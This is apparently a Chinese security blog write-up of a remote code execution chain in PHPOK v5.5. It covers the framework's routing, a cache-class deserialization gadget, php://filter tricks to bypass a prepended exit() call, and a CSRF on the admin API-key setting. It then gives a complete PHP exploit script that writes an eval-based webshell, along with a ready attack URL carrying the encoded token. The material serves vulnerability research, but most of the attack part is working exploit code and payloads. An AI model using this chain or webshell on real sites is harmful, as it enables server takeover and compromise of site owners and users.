漏洞影响版本
PHPOK v5.5
漏洞分析
路由规则
phpokcms代码结构,关键代码都在framework文件夹下

phpokcms的路由规则比较简单,index.php admin.php api.php 分别对应 framework文件夹下的www admin api这三个文件夹
请求url
1
   | http://localhost/phpok/admin.php?c=address&f=open
 
  | 
 
参数c的值拼接上_control.php就是对应的文件,对应的类即参数c的值拼接上_control,如address_control
参数f的值拼接上_f就是对应的方法,如open_f
](https://imgbed.cn/preview?id=60208e205dc5370001a461a4)
可利用恶意类
文件位置:/framework/engine/cache.php 
__destruct()调用了save方法,在save方法中使用了file_put_contents函数,函数的第一个和第二个参数均可控,但是第二个参数前面拼接了<?php exit();?>使后面的php代码无法执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
   | <?php class cache { 	public function __destruct() 	{ 		$this->save($this->key_id,$this->key_list); 		$this->expired(); 	} 	public function save($id,$content='') 	{ 		if(!$id || $content === '' || !$this->status){ 			return false; 		} 		$this->_time(); 		$content = serialize($content); 		$file = $this->folder.$id.".php"; 		file_put_contents($file,'<?php exit();?>'.$content); 		$this->_time(); 		$this->_count(); 		if($GLOBALS['app']->db){ 			$this->key_list($id,$GLOBALS['app']->db->cache_index($id)); 		} 		return true; 	}
  } ?>
 
  | 
 
绕过exit()
save方法中使用了file_put_contents函数,第一个和第二个参数均可控,第二个参数前面拼接了<?php exit();?>使后面的php代码无法执行,可以通过php://filter伪协议使拼接的<?php exit();?>失效
来源于
基于php://filter协议对exit函数几种逃逸方法的分析
该特性从PHP 7.3.0起废弃
<?php exit()?>本质是XML标签,可以使用strip_tags()函数去除它。为了防止我们写入的代码也被去除,需要把代码base64编码后写入
1 2 3 4
   |  <?php file_put_contents('php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php','<?php exit();?>'.$_GET['a']); ?>
 
  | 
 
将<?php phpinfo();进行base64编码后提交
1
   | http://localhost/test/1.php?a=PD9waHAgcGhwaW5mbygpOw==
 
  | 
 
写入成功

2.base64
base64编码结果只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时(如<、>、?、;、(、)等),将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码,如<?php exit();?>就会先变成phpexit再进行解码,phpexit一共7个字符,而base64解码算法是4个byte一组,所以再在后面任意添加一位,比如a,这样就是phpexita再在后面接上一句话的base64编码,前面八位phpexita解码结果是乱码不会被执行,后面接着解码一句话的base64编码
1 2 3 4
   |  <?php file_put_contents('php://filter/write=convert.base64-decode/resource=shell.php','<?php exit();?>'.$_GET['a']); ?>
 
  | 
 
提交
1
   | http://localhost/test/1.php?a=aPD9waHAgcGhwaW5mbygpOw==
 
  | 
 


3.rot13
<?php exit(); ?>在经过rot13编码后会变成<?cuc rkvg(); ?>,在php不开启short_open_tag时,php不认识这个字符串,也就不会被执行,<?php phpinfo();?>经过rot13编码后的结果为<?cuc cucvasb();?>
提交
1
   | http://localhost/test/1.php?a=<?cuc cucvasb();?>
 
  | 
 

反序列化
由名称得知decode()为解密函数,encode()为加密函数,encode()调用serialize(),decode()中调用unserialize(),找到调用decode()处,把序列化后的恶意类用encode()加密再使用decode()解密并进行反序列化。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
   | class token_lib { 	private $keyid = ''; 	private $keyc_length = 6; 	private $keya; 	private $keyb; 	private $time; 	private $expiry = 3600; 	
 
  	public function keyid($keyid='') 	{ 		if(!$keyid){ 			return $this->keyid; 		} 		$this->keyid = strtolower(md5($keyid)); 		$this->config(); 		return $this->keyid; 	}
  	private function config() 	{ 		if(!$this->keyid){ 			return false; 		} 		$this->keya = md5(substr($this->keyid, 0, 16)); 		$this->keyb = md5(substr($this->keyid, 16, 16)); 	}
 
 
  	public function encode($string) 	{ 		if(!$this->keyid){ 			return false; 		} 		$string = serialize($string); 		$expiry_time = $this->expiry ? $this->expiry : 365*24*3600; 		$string = sprintf('%010d',($expiry_time + $this->time)).substr(md5($string.$this->keyb), 0, 16).$string;	 		$keyc = substr(md5(microtime().rand(1000,9999)), -$this->keyc_length); 		$cryptkey = $this->keya.md5($this->keya.$keyc); 		$rs = $this->core($string,$cryptkey); 		return $keyc.str_replace('=', '', base64_encode($rs)); 		 	}
  	public function decode($string) 	{ 		if(!$this->keyid){ 			return false; 		} 		$string = str_replace(' ','+',$string); 		$keyc = substr($string, 0, $this->keyc_length); 		$string = base64_decode(substr($string, $this->keyc_length)); 		$cryptkey = $this->keya.md5($this->keya.$keyc); 		$rs = $this->core($string,$cryptkey); 		$chkb = substr(md5(substr($rs,26).$this->keyb),0,16); 		if((substr($rs, 0, 10) - $this->time > 0) && substr($rs, 10, 16) == $chkb){ 			$info = substr($rs, 26); 			return unserialize($info); 		} 		return false; 	} 	      	 }
 
  | 
 
encode()和decode()都要求keyid,全局搜索得到keyid来源于管理员设置的api_code
1
   | $this->lib('token')->keyid($this->site['api_code']);
 
  | 
 
CSRF
在后台找到API验证串设置处 

抓包后发现无csrf防护,构造请求诱导管理员访问即可

利用
构造脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89
   | <?php class cache{     protected $key_id;     protected $key_list;     protected $folder;
      public function __construct(){         $this->key_id = 'shell';         $this->key_list = 'aa'.base64_encode('<?php eval($_GET["shell"]);?>');         $this->folder = 'php://filter/write=convert.base64-decode/resource=';     } }
  class token{     private $keyid = '';     private $keyc_length = 6;     private $keya;     private $keyb;     private $time;     private $expiry = 3600;
      public function keyid($keyid=''){         if(!$keyid){             return $this->keyid;         }         $this->keyid = strtolower(md5($keyid));         $this->config();         return $this->keyid;     }     private function config(){         if(!$this->keyid){             return false;         }         $this->keya = md5(substr($this->keyid, 0, 16));         $this->keyb = md5(substr($this->keyid, 16, 16));     }
      public function encode($string){         if(!$this->keyid){             return false;         }
          $expiry_time = $this->expiry ? $this->expiry : 365*24*3600;         $string = sprintf('%010d',($expiry_time + time())).substr(md5($string.$this->keyb), 0, 16).$string;         $keyc = substr(md5(microtime().rand(1000,9999)), -$this->keyc_length);         $cryptkey = $this->keya.md5($this->keya.$keyc);         $rs = $this->core($string,$cryptkey);         return $keyc.str_replace('=', '', base64_encode($rs));              }
      private function core($string,$cryptkey){         $key_length = strlen($cryptkey);         $string_length = strlen($string);         $result = '';         $box = range(0, 255);         $rndkey = array();
                   for($i = 0; $i <= 255; $i++){             $rndkey[$i] = ord($cryptkey[$i % $key_length]);         }
          
          for($j = $i = 0; $i < 256; $i++){             $j = ($j + $box[$i] + $rndkey[$i]) % 256;             $tmp = $box[$i];             $box[$i] = $box[$j];             $box[$j] = $tmp;         }
                   for($a = $j = $i = 0; $i < $string_length; $i++){             $a = ($a + 1) % 256;             $j = ($j + $box[$a]) % 256;             $tmp = $box[$a];             $box[$a] = $box[$j];             $box[$j] = $tmp;             $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));         }         return $result;     } }
  $token = new token(); $token->keyid('123456'); echo $token->encode(serialize(new cache)); ?>
 
  | 
 
运行脚本得到payload
](https://imgbed.cn/preview?id=60208e5954a29f0001d1ddfb)
在index_cotrol.php中的phpok_f方法中发现调用decode

根据路由规则请求url,token为payload
1
   | http://localhost/phpok/api.php?c=index&f=phpok&token=478ef7obit5nzTBxeDcrCXjGxB4ifLSKWvkWtVrpSmI9W4o0rjCDuphi5+PHD0vNqavv0lx0PQ+v/RfRV/CPv81ncmZb2RJy2eYWxxRII1wSLQ825xh7jrjXMPjbAZ6gUiAuCb2HSMz/vizU53Wfc64OIB/5FYAH0OcBENNyngihF9LNgQ5pxVQkf2EAvG0T7AbWMb6prp0ZTaZ19SbZdAeKV3AB8LApao8nODRRNLutAwh5k6MUefwjD9lU/Czv0n/UXAGlIl+asWwzpz6pMYfHTbIc5Byug4
 
  | 
 
利用成功

参考:
https://xz.aliyun.com/t/7852
https://www.ghtwf01.cn/index.php/archives/985/
https://www.ghtwf01.cn/index.php/archives/981/
http://althims.com/2020/02/05/phpok-5-4-173/